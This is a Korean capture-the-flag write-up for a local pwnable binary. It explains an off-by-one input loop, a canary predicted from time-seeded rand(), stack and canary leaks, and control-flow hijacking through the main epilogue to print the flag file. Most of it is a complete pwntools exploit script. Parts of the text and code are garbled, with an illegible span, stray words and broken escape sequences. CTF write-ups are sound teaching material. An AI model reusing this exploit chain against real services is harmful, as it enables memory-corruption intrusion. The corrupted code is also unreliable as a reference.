

심효빈

```

.bss:0804A0A0      public key
.bss:0804A0A0      key      db      ? ;      ; DATA XREF: loadkey+25f0

```

```
seed = time(0);
srand(seed); // 랜덤
while ( 1 )
{
    print_menu(); // 메뉴출력
    memset(&s, 0, 0x64u);
    u3 = rand();
    u4 = rand() * u3;
    u5 = rand();
    u10 = u4 * u5; // u3*u4*u5
    g_canary = u4 * u5; // =u10=u3*u4*u5
}
```

하지만 한가지 문제점이 있는데 char의 공간은 100이고 우리의 정해진 최대 입력값은 100으로 처음에 선언되어있다. `u9 = 0x64;` 그래서 100개를 꽉채워서 입력해보면

[illegible]

```
for ( i = 0; i <= a2; ++i )
{
    u3 = getchar();
    if ( u3 == '\n' )
        return i;
    *(_BYTE *) (a1 + i) = u3;
}
```

것을 그런데 }

입력을 받는부분의 코드를 보면 조건문에 등호가 있다. 100개가 아닌 101개를 입력할 수 있는 것 이다. 그러면 100개의 쓰레기값뒤에 0xff같은 큰수를 입력한다면 100개뿐이아닌 255개를 입력할 수 있을것이다. 처음에 저 값을 바꾼 뒤 rand 카나리를 덮어쓰우고 그다음 또 카나리를 덮어쓰운뒤 ret값까지 덮어쓰운다면 익스가 성공하게 된다. 하지만 함정이 하나있었다.

```
lea    esp, [ebp-8]
pop     ecx
pop     ebx
pop     ebp
lea     esp, [ecx-4]
retn
```

바로 main문의 마지막인데 보통은 leave ret 인데 이 바이너리는 이런식으로 원래함수로 돌아갔다 내용을 요약하자면 ebp-8의 주소의 값-4의 주소로 eip가 바뀌게된다. 그러니까 ebp-8에 puts가 들어간 주소+4를 해주면 puts로 eip가 바뀌게돼서 출력을 할 수 있다. 하지만 puts가 들어간 스택의 주소를 어떻게 알 수 있나 하지만 출제자가 천사 서서 스택알아낼 방법을 다 주해주셨다.

```
int *u12; // [sp+88h] [bp-4h]@1

u12 = &argc;
```

릭만 잘하면 스택의 주소도 알아올 수 있다.

```
=====
1. Try Exploit.
2. Give up.
=====
> Good bye :p
flag
yeoooooooooooooooooooooooooooooooooooooooooooooooooooo
```

익스 성공!!!! 해당 디렉토리에있는 flag파일의내용을 출력했다.

익스 코드입니다!!!!

환경은 Ubuntu 14.04 tty1입니다 그래픽에서하면 잘 안될 가능성이 있어요!

```
from pwn import *
```

```
from struct import *
```

```
import ctypes
```

```
def get_canary():  
    v3 = LIBC.rand()  
    v4 = LIBC.rand() * v3  
    v5 = LIBC.rand()  
    v10 = v4*v5  
    ands=4294967295  
    #print "v10 is %d " %v10  
    v10=v10&ands  
    #print "v10 is %d " % v10  
    return v10
```

```
puts=0x804a028
```

```
fputs=0x80486c0
```

```
LIBC = ctypes.cdll.LoadLibrary("libc-2.19.so")
```

```
t = LIBC.time(0)
```

```
LIBC.srand(t)
```

```
r = remote("localhost",9060)
```

```
#print r.recv()
```

```
print r.recvuntil("=====  
=====Wn")
```

```
print r.recvuntil("=====  
=====Wn")
```

```
canary=get_canary()
```

```
r.sendline('1')
```

```
#print r.recv()

r.sendline('1'*100+'W\xff')


sleep(1)

print r.recvuntil("=====Wn")

print r.recvuntil("=====Wn")

canary=get_canary()

#print r.recv()

print "canary 0x%x" % canary

r.sendline('1')


#print r.recv()


input=0xeeeeeeee


#r.sendline('1'*100+p32(input)+'1')

#print r.recv()

#print r.recv()


#r.sendline('1')

#print r.recv()

print r.recv()

#r.sendline('1'*104+p32(canary))

r.sendline('1'*100+'W\xff'+ '222'+p32(canary)+'3')

print r.recvuntil(" : ")
```

```
print r.recvuntil(p32(canary))
```

```
leak=u32(r.recv(4))
```

```
leak=leak-0x33
```

```
print r.recv()
```

```
print "leak is !!!!!!!0x%x" % leak
```

```
#print r.recv()
```

```
sleep(1)
```

```
print r.recvuntil("=====Wn")
```

```
print r.recvuntil("=====Wn")
```

```
canary = get_canary()
```

```
r.sendline('1')
```

```
print r.recvuntil(' : ')
```

```
r.sendline('1'*100+'Wxff'+ '111'+p32(canary)+'3'*4)
```

```
print r.recvuntil(" : ")
```

```
print r.recvuntil('3'*4)
```

```
stack=u32(r.recv(4))
```

```
print "stack is 0x%x" % stack
```

```
sleep(1)
```

```
print r.recvuntil("=====Wn")
```

```
print r.recvuntil("=====Wn")
```

```
canary=get_canary()
```

```
r.sendline('1')
```

```
print r.recvuntil(' : ')
```

```
print "canary : 0x%x canary2 : 0x%x stack : 0x%x" % (canary,leak,stack)
```

```
r.sendline('1'*100+'W\xff'*4+p32(canary)+p32(leak)+p32(stack-
24)+p32(0x8048620)+'1111'+p32(0x804a0a0))

#r.sendline(p32(0x8048620)+'1111'+p32(0x804a0a0)+'1'*88+'W\xff'*4+p32(canary)+p32(leak)+p32(st
ack-140))

print "Wnthis is input : "

print r.recv()

print "its last"

print r.recvuntil("=====  
Wn")

print r.recvuntil("=====  
Wn")

r.sendline('2')

print r.recvuntil('p')

print r.recv()

print r.recv()

print r.recv()
```